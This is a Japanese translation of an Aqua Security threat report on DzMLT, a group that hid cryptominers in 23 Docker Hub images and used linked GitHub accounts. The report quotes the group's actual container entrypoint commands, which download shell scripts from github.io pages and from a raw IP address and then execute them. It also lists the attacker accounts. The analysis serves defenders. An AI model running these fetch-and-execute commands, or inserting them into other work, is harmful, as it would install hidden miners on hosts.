fbpx

脅威:DzMLTによるクリプトマイニング #AquaSecurity #コンテナ #セキュリティ #マイニング #マルウェア

この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。

本ブログは「Aqua Security」社の技術ブログで2020年6月26日に公開された「 Threat Alert: DzMLT has Hidden Cryptominers in Container Images 」の日本語翻訳です。

脅威:DzMLTによるクリプトマイニング


私たち Aqua Security の研究チームは先日、隠れた脅威を動的にスキャンした結果をカタログ化することで、オープンのクラウドネイティブアセットの詳細な調査を行いました。この調査の結果、Docker Hub に格納された23個のコンテナイメージに、不要と思われるアプリケーション(PUA)がイメージレイヤー内に隠されていたり、コンテナ実行時にダウンロードされたりしていました。また、Docker Hub の大規模なインフラストラクチャと、これらのイメージの作成者である可能性のある人物に関する様々な詳細も明らかになりました。さらなる調査の結果、これらのイメージはアルジェリアのハッキンググループによって構築された可能性のあり(これについての詳細は後ほど)、33万を超えるダウンロード(pull)が記録されています。

私たちの調査では、イメージは静的スキャンによる検出を回避するように設計されていることが分かりました。その一環として、イメージの多くは実行時に GitHub(多くの組織で許可されているコードリポジトリ)から悪意のあるスクリプトをダウンロードしています。静的スキャンを回避したイメージはその後、コンテナ実行時にクリプトマイナーをダウンロードして実行しています。

動的イメージスキャンにより秘められた脅威を暴く

スクリーニングの一環として、我々は Docker Hub 上のコンテナイメージを分析しました。Dynamic Threat Analysis(DTA)スキャナを使用して、何千ものコンテナイメージを動的に分析し、類似性のあるものをグループに分類しました。そのうち1つのグループで Docker Hub 上にある23個のコンテナイメージ間に強い関連性のあることが分かったため、我々はその点に注目しました。(イメージの完全なリストは以下にあります)。このイメージは、7人の異なる Docker Hub コミュニティメンバーによって作成されています。その後の調査では、このコンテナイメージと15の異なる GitHub アカウントに関連するとわかりましたが、このインフラストラクチャのみに特化しているようでした。

これらのイメージの手口では、実行時にリモートソースから悪意のある要素をダウンロードを行います。残念ながら、脆弱性やマルウェア等シグネチャをもとに静的スキャンするだけでは、ほとんどのイメージを良性のものとして分類します。そのため、多くの組織で使用されているセキュリティツールでは、不審なネットワーク通信を検出するソリューション(ファイアウォールや IDS/IPS など)があったとしても、ハッカーは GitHub を悪意のあるコードのソースとして使用することでこれを回避できます。ほとんどの組織が GitHub からのダウンロードを許可しているため、悪意のあるコードはダウンロードされる可能性があります。

Aqua DTA を使用してセキュアなサンドボックス環境でコンテナを起動し、ENTRYPOINT コマンドを実行しました。その結果、実行中に様々なファイルがダウンロードされ実行されることが確認できました。これらのファイルの中には、悪意のあるスクリプトが含まれていました。ネットワークトラフィックも記録され、ほとんどで暗号通貨のマイニングプールとの通信が検出されました。結果的に DTA は、ホストリソースの一部をハイジャックして暗号通貨をマイニングするように設計された、不要と思われるアプリケーション(PUA)の存在を検出し、DTA スキャナは23のイメージをすべて悪意のあるものとして分類しました。

以下は、Aqua の DTA で実行されたすべてのスキャン結果を表示しています。

これらのアカウントを追跡して、イメージが暗号通貨をマイニングするために設計されたものであることを示す追加の証拠を探しました。残念ながら、Docker Hub でも GitHub でもこのイメージの作成者は説明文や README.md ファイルの中で、これらが暗号通貨のマイニングを実行するものであることに言及していませんでした。つまり、誰かがこれらのイメージを pull して実行し、知らぬ間にマイニングプロセスを開始してしまう可能性があるということです。あるいは今年初めに報告した Kinsing マルウェアのように、これらのイメージやコードリポジトリはマシンが悪用された後の攻撃の第二段階として機能する可能性があります。

コンテナイメージの分類

攻撃ベクトルに基づいて、これら23個の イメージ は大まかに2つのグループに分類できます。

A. リモートソースから PUA 要素をダウンロード: 最初のグループには21個のイメージが含まれています。これらの攻撃には様々な種類がありますが、基本的には ENTRYPOINT コマンドを利用したものです。攻撃者は ENTRYPOINT コマンドで、1つから2つのシェルスクリプト(悪意のある要素をダウンロードしてプロセス全体を実行)、ELF ファイル(メインペイロードとして機能し、暗号通貨をマイニングするように設計されています)、設定ファイル(マイニングプロセスを実行するために必要なすべてのパラメータを含む)をダウンロードしています。

B. バックドアを仕込む:第2のグループには残りの2つのイメージが含まれており、それらはイメージレイヤーの1つに、すでに PUA 要素が組み込まれています。このケースでは、攻撃者はマイニングプロセスをリモートで実行しようとしています。標準的な静的スキャンツールでこれらのイメージを検出可能なはずです。 注意点としては、ターゲットのセキュリティツール(ファイアウォールなど)が、ターゲットと攻撃者の C2 サーバー間のネットワーク通信トラフィックをブロックする可能性があるため、攻撃者はこのケースの攻撃ベクトルでは失敗する可能性が高いということです。

グループA: リモートから PUA 要素をダウンロードするイメージ

先述の通り、これらの攻撃ではコンテナにシェルスクリプト・ELF ファイル(クリプトマイナー)、設定ファイルをダウンロードして実行されます。

攻撃の開始方法

この攻撃にはいくつかの種類がありますが、すべての攻撃においてコンテナは GitHub アカウントからシェルスクリプトをダウンロードすることを目的としたコマンドが実行されます。この攻撃では15のアカウントが役割を果たしています(詳細なリストは以下で確認できます)。しかし、これらすべての攻撃には1つの GitHub アカウント「dzmltzack」が関わっており、他の GitHub アカウントはこのアカウントから一部またはすべての要素をダウンロードしています。以下に、コマンドの例をいくつか挙げます。

/bin/sh -c wget https://dzmltzack.github.io/web/IAB2.sh -O IAB2.sh && chmod +x IAB2.sh && ./IAB2.sh
/bin/sh -c wget https://pzeankto.github.io/namnam/happy.sh -O yopi.sh && chmod +x yopi.sh && ./yopi.sh

GitHub からペイロードをダウンロードすることは、セキュリティツールによる検知を回避するための非常に巧妙な方法です。組織や個人が GitHub との通信をブロックする可能性は低く、攻撃者が成功する可能性を大幅に高めます。

以下は Aqua Dynamic Threat Analysis スキャナから取得した情報で、特定のイメージ「dzoask2/lokmo」の調査結果を表示しています。

ペイロード

これらすべてのイメージで、ペイロードにはクリプトマイニングするために設計された ELF ファイル、設定を含むJSONファイル、コマンドを実行するシェルスクリプトが含まれています。一部の攻撃では、いくつかのシェルファイルが上記のファイルのうちの1つ以上をダウンロードして実行する中間段階があります。また、いくつかのケースではすべてのファイルが「dzmltzack」GitHub アカウントから直接ダウンロードされ、他のケースでは他の GitHub アカウントからダウンロードされたシェルスクリプトがあります。これらのスクリプトが「dzmltzack」GitHub アカウントから、 ELF ファイルと設定ファイルをダウンロードしています。

23件中11件では、ENTRYPOINT のコマンドは「iab.sh」を「dzmltzack」の Git から直接ダウンロードしています。その後、不要と思われるアプリケーション(PUA)である ELF ファイル(XM)がダウンロードされ、さらに別のシェルスクリプト(cmd.sh)もダウンロードして実行されています。以下は IAB.sh シェルスクリプトの内容です。

2番目のシェルスクリプト(cmd.sh)は、暗号通貨のマイニングプロセスを開始するために必要なパラメータ(すなわち、マイニングプール、ユーザー、パスワード)を含む設定ファイルをダウンロードします。最後にマイニングコマンドが実行されます。以下が cmd.sh シェルスクリプトの内容です。

設定ファイル

設定ファイルには、暗号通貨をマイニングするために必要なすべてのパラメータが含まれています。設定ファイルの中には、TurtleCoin をマイニングするものもあれば、Worktip(WTIP)コインをマイニングするものもあります。以下は、arqt JSON 設定ファイルの内容です。

不要と思われるアプリケーション(PUA)

2つの ELF ファイルが確認されました。ELF ファイル XM は17個、ELF ファイル ZXM は4個のイメージでダウンロードされました。XM はクリプトマイナーで、分析のために提出した後、Virus Total によって検出されました。

ZXM もクリプトマイナーで、Virus Total で検出されています。

グループB: バックドアを仕込む

イメージレイヤーの1つに組み込まれているため、すでに PUA 要素が含まれています。そこから攻撃者はマイニングプロセスをリモートで実行しようとしています。

攻撃の開始方法

以下の ENTRYPOINT でコンテナを実行します。

/home/user/entrypoint.sh

このシェルスクリプトは sshd -D コマンドを実行するように設計されています。これは OpenSSH デーモンでクライアントからの接続を listen して ssh 通信を許可することを目的としています。おそらく攻撃者のためのバックドアとして機能し、標的のマシン上で攻撃を実行できるようにしています。以下は entrypoint.sh シェルスクリプトの内容です。

不要と思われるアプリケーション(PUA)

影響を受けたコンテナイメージには、PUA を含む組み込みライブラリ xmr-node-proxy が付属しています。このライブラリにはいくつかのファイルが含まれており、PUA が暗号通貨、具体的には Monero コインをマイニングすることを強く示唆しています。コンテナイメージ dzmlt/letmakeit の dockerfile は以下の通りです。

Aquaのハニーポッドへの攻略

これらのイメージのうちの1つ ubuntuz/jessy:latest は、実際には2020年3月17日から2020年6月3日までの間に42回 Aqua のハニーポットを攻撃しました。

この最新のインシデントは、Aqua のハニーポットによって明らかになった悪意のある活動を含む別のハッキングキャンペーンを表しています。この攻撃は誤って設定されたオープンな Docker Daemon API ポートを標的としています。この最新のインシデントと同様に、私たちは攻撃の媒介者や敵の Modus Operandi・Tactics・Techniques・Techniques・Procedures(TTPs)を記録・分析し、継続的に防御力を向上させました。

攻撃の開始方法

リモートリソースからシェルスクリプトをダウンロードすることを目的としたコマンドが実行されます。

/bin/bash -c curl -o /opt/sh.sh http://45.95.168.103/sh.sh && chmod 777 /opt/sh.sh && /bin/bash /opt/sh.sh >/dev/null 2>&1 ; tail -f /dev/null

ペイロード

ペイロードには ELF ファイル(PUA)をダウンロードするように設計されたシェルスクリプトが含まれており、ハードコードされたパラメータを持つマイニングコマンドを実行しています。さらに、感染したホストマシンを監視するために敵が使用する IPLogger(IP アドレストラッカー)にホストの IP アドレスを送信します。

不要と思われるアプリケーション(PUA)

ELF ファイルの EZ は Virus Total によって識別されたクリプトマイナーです。

手がかりを繋げる & Dz メモリーリークチームを探す(DzMLT)

これらの Docker Hub イメージはすべて同じ GitHub アカウント「dzmltzack」から1つ以上のファイルをダウンロードしているので、GitHub 内の類似の接続を探すことにしました。すると、このインフラに接続していると思われる GitHub アカウントが14個追加されていることがわかりました。これらのアカウントのほとんど(14個中12個)は「dzmltzack」GitHub アカウントから ELF ファイル(PUA)をダウンロードするために設定された1つのファイル(dockerfile)、1つから2つのシェルスクリプト、設定ファイルを含む1つのプロジェクトを持っています。

アカウント dzmltzack が作成されたのは2019/02/20です。下図からわかるように、アカウントが作成された期間は2つありました。第1期は dzmltzack アカウントが作成されてから1ヶ月後に開始され、平均して3日ごとに新しいアカウントが作成されていた。第2期は第1期が終了してから2ヶ月後に開始され、平均して3日に1アカウントが作成されています。

DZ Memory Leak Team の略である DzMLT の Youtube チャンネルを特定しました。おそらく 、DZ はISO 3166-2 に定義されたアルジェリアの国コードを意味していると思われます。さらに脅威インテリジェンスの証拠はこのインフラとこのアルジェリアのグループを強く結びつけています。

まとめ

私たちが発見したクリプトマイニングには、コンテナイメージを保持するためだけに構築された数十個の Docker Hub と GitHub アカウントが含まれています。このインフラストラクチャにより、敵は安全とされるリモートソースからこれらのイメージをダウンロードし、ホスト上で実行できます。その上イメージは実行中にファイルをダウンロードしているため、ほとんどのセキュリティツールで悪意のあるものとして検知される可能性がさらに低くなっています。クリプトマイニングは本質的には必ずしも悪意のあるものではありませんが、イメージの作成者はそれらがマイニングツールであることを宣言していません。イメージの1つは誤って設定された Docker API を攻撃するために使用されていました。-この手口は明らかに検出を避けるために設計されており、悪意のある行動です。

すべての調査を終えた後、1つの疑問が残りました。累積で33万回以上イメージが pull されていたのですが、攻撃者はどのようにして何千人もの人々を説得して、これらのイメージを Docker Hub から直接 pull するように仕向けたのでしょうか。1つの考えとしては、このグループが誤って設定されたオープンな Docker Daemon API ポートを標的にしていたということが考えられます。 もう1つの可能性としては、マルウェアがこれらのイメージを pull して実行するために使われたというものがあります。しかし DzMLT グループが無料のハッキングツールを提供していることが分かっているので、可能性としては後者が一番高いでしょう。-しかし実際には、真実は闇の中です。

DevSecOps チームもまた「シフトアップ」の実践により、クラウドの隠れ潜む脅威に気付き、リスクを軽減するためのセキュリティ戦略を策定しなければならないと考えています。以下に私たちが検討しているステップのリストを示します。

  1. すべてのクラウドリソースを識別し、何らかの論理構造でグループ化する。
  2. 権限と認証のポリシー、基本的なセキュリティポリシーを確認し、最小特権の原則に従って最適化する。
  3. 使用しているイメージをスキャンし、root ユーザや特権モードを避けるなど最小限の特権で動作するように構成されていることを確認する。Trivy(OSS)などの脆弱性スキャナを使用する。
  4. Aqua DTA を使ってイメージを動的にスキャンし、安全なサンドボックスを使って疑わしい/悪意のあるプロセスとネットワーク通信の両方をシミュレートし、実行時の状態を明らかにする。
  5. ログを調査し、主にユーザのアクションを中心に異常なアクションを探す。
  6. ポリシーを簡単に実施できるセキュリティ戦略を策定し、クラウドリソース内にまで範囲を広げた、クラウドセキュリティツールの利用を検討する。

DzMLT Table 1

#

Account

Project

Created at

Other projects

Link

1

dzmltzack

web

20/02/2019

No

https://github.com/dzmltzack

2

comeonmam

yopi

26/03/2019

No

https://github.com/comeonmam/yopi/blob/master/Dockerfile

3

lamatahshilish

haylhadra

27/03/2019

No

https://github.com/lamatahshilish/haylhadra/blob/master/Dockerfile

4

shablah9

zald

29/03/2019

No

https://github.com/shablah9/zald/blob/master/Dockerfile

5

dzmltmail4

zabiii

31/03/2019

No

https://github.com/dzmltmail4/zabiii/blob/master/Dockerfile

6

dzmltmai-l4

Kaoh

02/04/2019

No

https://github.com/dzmltmai-l4/Kaoh/blob/master/Dockerfile

7

dzmltm-ail4

akas

10/04/2019

No

https://github.com/dzmltm-ail4/akas/blob/master/Dockerfile

8

okaymyman

ohmydear

14/04/2019

No

https://github.com/okaymyman/ohmydear/blob/master/Dockerfile

9

awsome2z

fds

14/06/2019

No

https://github.com/awsome2z/fds/blob/de124a62c25fd56e838b07deb921cf0c5eb9bf4e/Dockerfile

10

hambokzin

hambok

14/06/2019

No

https://github.com/hambokzin/hambok/blob/dbbabcdaee1ad32fbc2f4d92fe2e3c103e7026d6/Dockerfile

11

uunozak

aloyseed

15/06/2019

No

https://github.com/uunozak/aloyseed/blob/772eeb40541a2ca36ccc2961295d98fa6cdfecbf/Dockerfile

12

unzaks

goklo

19/06/2019

No

https://github.com/unzaks/goklo/blob/bb7fd60368de925bc0405d3c880d1c1ac0a6faa3/Dockerfile

13

hambolo

hambok

19/06/2019

No

https://github.com/hambolo/hambok/blob/800448ab3244f3915db9a15a4fffb0cf973cae94/Dockerfile

14

dzoask2

dok

28/06/2019

1

https://github.com/dzoask2/dok/blob/master/Dockerfile

15

roklomoklo

roklo

02/07/2019

1

https://github.com/roklomoklo/roklo/blob/6a6c5349742d0128bba77756236b1bca3d2e4da5/Dockerfile

 

New call-to-action
新規CTA